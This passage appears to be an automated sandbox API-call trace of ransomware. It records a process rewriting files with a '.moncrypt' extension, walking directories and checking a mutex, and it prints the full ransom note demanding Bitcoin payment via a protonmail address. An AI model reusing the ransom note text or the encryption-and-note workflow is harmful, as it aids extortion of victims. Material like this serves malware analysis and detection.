Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0041.446] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0041.446] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x2b0b7 [0041.446] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0041.447] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0041.476] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.477] GlobalLock (hMem=0x440004) returned 0x557188 [0041.477] GlobalHandle (pMem=0x557188) returned 0x440004 [0041.477] GlobalUnlock (hMem=0x440004) returned 0 [0041.477] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0041.477] GlobalLock (hMem=0x440004) returned 0x557188 [0041.477] GlobalHandle (pMem=0x557188) returned 0x440004 [0041.477] GlobalUnlock (hMem=0x440004) returned 0 [0041.477] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0041.477] GlobalLock (hMem=0x440004) returned 0x557188 [0041.477] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.477] GlobalUnlock (hMem=0x44000c) returned 0 [0041.477] GlobalHandle (pMem=0x557188) returned 0x440004 [0041.477] GlobalUnlock (hMem=0x440004) returned 0 [0041.477] GlobalLock (hMem=0x440004) returned 0x551178 [0041.477] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.477] GlobalUnlock (hMem=0x440004) returned 0 [0041.477] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0041.477] GlobalLock (hMem=0x440004) returned 0x551178 [0041.477] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.477] GlobalUnlock (hMem=0x440004) returned 0 [0041.478] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0041.482] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0041.482] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0041.482] SetFilePointer (in: hFile=0x188, lDistanceToMove=176311, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x2b0b7 [0041.482] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0041.482] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0041.482] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d28*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d28*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0041.494] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0041.494] CloseHandle (hObject=0x188) returned 1 [0041.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0041.495] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0041.496] CloseHandle (hObject=0x188) returned 1 [0041.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.moncrypt", dwFileAttributes=0x20) returned 1 [0041.496] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0041.496] GlobalLock (hMem=0x440004) returned 0x551178 [0041.496] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.496] GlobalUnlock (hMem=0x440004) returned 0 [0041.496] GlobalLock (hMem=0x440004) returned 0x551178 [0041.496] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.496] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.496] GlobalUnlock (hMem=0x440004) returned 0 [0041.496] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.496] GlobalUnlock (hMem=0x44000c) returned 0 [0041.496] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0041.496] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bad4480, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3bad4480, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3bad4480, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0041.496] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0041.496] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0041.497] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0041.497] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0041.497] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0041.497] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0041.497] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0041.497] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0041.497] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0041.497] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0041.497] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0041.497] CloseHandle (hObject=0x188) returned 1 [0041.497] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0041.497] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.497] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.498] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.498] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.498] GlobalUnlock (hMem=0x44000c) returned 0 [0041.498] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.498] GlobalLock (hMem=0x440004) returned 0x553188 [0041.498] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.498] GlobalUnlock (hMem=0x44000c) returned 0 [0041.498] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.498] GlobalUnlock (hMem=0x440004) returned 0 [0041.498] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.498] CharLowerBuffW (in: lpsz="MTEXTRA.TTF", cchLength=0xb | out: lpsz="mtextra.ttf") returned 0xb [0041.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0041.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", cchWideChar=67, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpUsedDefaultChar=0x0) returned 67 [0041.499] CharLowerBuffW (in: lpsz=".TTF", cchLength=0x4 | out: lpsz=".ttf") returned 0x4 [0041.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ttf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ttfShared\\EQUATION\\MTEXTRA.TTF", lpUsedDefaultChar=0x0) returned 4 [0041.499] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0041.499] GetLastError () returned 0x12 [0041.499] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0041.499] GlobalLock (hMem=0x440004) returned 0x550170 [0041.499] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.499] GlobalUnlock (hMem=0x440004) returned 0 [0041.499] GlobalLock (hMem=0x440004) returned 0x550170 [0041.499] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.499] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.499] GlobalUnlock (hMem=0x440004) returned 0 [0041.499] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.499] GlobalUnlock (hMem=0x44000c) returned 0 [0041.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d08, cbMultiByte=3, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\ition\\") returned 3 [0041.499] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3bad4480, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3bad4480, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0041.499] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0041.499] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.500] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.500] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.500] GlobalUnlock (hMem=0x44000c) returned 0 [0041.500] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.500] GlobalLock (hMem=0x440004) returned 0x552180 [0041.500] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.500] GlobalUnlock (hMem=0x44000c) returned 0 [0041.500] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.500] GlobalUnlock (hMem=0x440004) returned 0 [0041.500] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.500] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3bad4480, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3bad4480, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.500] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.500] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.500] GlobalLock (hMem=0x440004) returned 0x551178 [0041.500] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.500] GlobalUnlock (hMem=0x440004) returned 0 [0041.500] GlobalLock (hMem=0x440004) returned 0x551178 [0041.500] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.500] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.500] GlobalUnlock (hMem=0x440004) returned 0 [0041.500] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.500] GlobalUnlock (hMem=0x44000c) returned 0 [0041.500] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.500] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0041.500] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.500] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.500] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.500] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.500] GlobalUnlock (hMem=0x44000c) returned 0 [0041.500] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.501] GlobalLock (hMem=0x440004) returned 0x553188 [0041.501] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.501] GlobalUnlock (hMem=0x44000c) returned 0 [0041.501] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.501] GlobalUnlock (hMem=0x440004) returned 0 [0041.501] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.501] GlobalLock (hMem=0x440004) returned 0x551178 [0041.501] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.501] GlobalUnlock (hMem=0x440004) returned 0 [0041.501] GlobalLock (hMem=0x440004) returned 0x551178 [0041.501] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.501] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.501] GlobalUnlock (hMem=0x440004) returned 0 [0041.501] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.501] GlobalUnlock (hMem=0x44000c) returned 0 [0041.501] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.501] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033", len=0x3c | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033") returned 1 [0041.501] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.501] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.501] GlobalUnlock (hMem=0x44000c) returned 0 [0041.501] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.501] GlobalLock (hMem=0x440004) returned 0x553188 [0041.501] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.501] GlobalUnlock (hMem=0x44000c) returned 0 [0041.501] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.501] GlobalUnlock (hMem=0x440004) returned 0 [0041.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\") returned 26 [0041.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69718, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@褺T褎T企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0041.513] GetLastError () returned 0x3 [0041.513] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0041.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\") returned 21 [0041.514] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69718, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@袔T企@\x18권Q\x181")) returned 0xffffffff [0041.514] GetLastError () returned 0x2 [0041.514] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\1033\\") returned 0x3d [0041.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0041.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\") returned 9 [0041.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69718, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@⊤R企@\x18?T\x18;")) returned 0xffffffff [0041.515] GetLastError () returned 0x2 [0041.515] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common 